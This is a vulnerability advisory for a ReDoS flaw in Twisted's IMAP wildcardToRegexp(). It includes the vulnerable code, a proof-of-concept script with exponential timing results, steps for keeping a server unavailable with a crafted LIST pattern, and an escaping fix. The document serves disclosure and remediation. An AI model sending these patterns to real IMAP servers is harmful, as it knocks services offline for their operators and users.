Twisted: IMAP wildcardToRegexp() ReDoS

Summary

wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.

Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.

---

Vulnerable Code

twisted/mail/imap4.py

# line 4595
def wildcardToRegexp(wildcard, delim=None):
    wildcard = wildcard.replace("*", "(?:.*?)")
    if delim is None:
        wildcard = wildcard.replace("%", "(?:.*?)")
    else:
        wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
    return re.compile(wildcard, re.I)   # ← user input compiled verbatim

# line 4993
class MemoryAccountWithoutNamespaces:
    def listMailboxes(self, ref, wildcard):
        ref = self._inferiorNames(_parseMbox(ref.upper()))
        wildcard = wildcardToRegexp(wildcard, "/")   # ← user-supplied wildcard
        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]

---

Proof of Concept

from twisted.mail.imap4 import wildcardToRegexp
import time

rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
    victim = "a" * n
    t0 = time.perf_counter()
    rx.match(victim)
    print(f"n={n}: {time.perf_counter() - t0:.3f}s")

Output on Twisted 25.5.0:

[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()

    n        time
  ---  ----------
   20       0.153s
   22       0.651s
   24       2.941s
   26      14.545s
   28      55.019s

Timing doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.

---

Impact

Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.

An attacker who can register an account (or obtain credentials through other means) can:

1. CREATE a mailbox whose name is an exponential-blowup trigger string.
2. Issue LIST "" "(a+)+z" (or equivalent ReDoS pattern).
3. Repeat at ~1-minute intervals to keep the server permanently unavailable.

No exploit code or special privileges beyond an IMAP login are required.

---

Fix

Escape non-wildcard characters before compiling:

def wildcardToRegexp(wildcard, delim=None):
    # Split on the two IMAP wildcards, escape everything else
    parts = re.split(r'([*%])', wildcard)
    result = []
    for p in parts:
        if p == '*':
            result.append('(?:.*?)')
        elif p == '%':
            if delim is None:
                result.append('(?:.*?)')
            else:
                result.append('(?:(?:[^%s])*?)' % re.escape(delim))
        else:
            result.append(re.escape(p))   # ← escape all other characters
    return re.compile(''.join(result), re.I)

Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.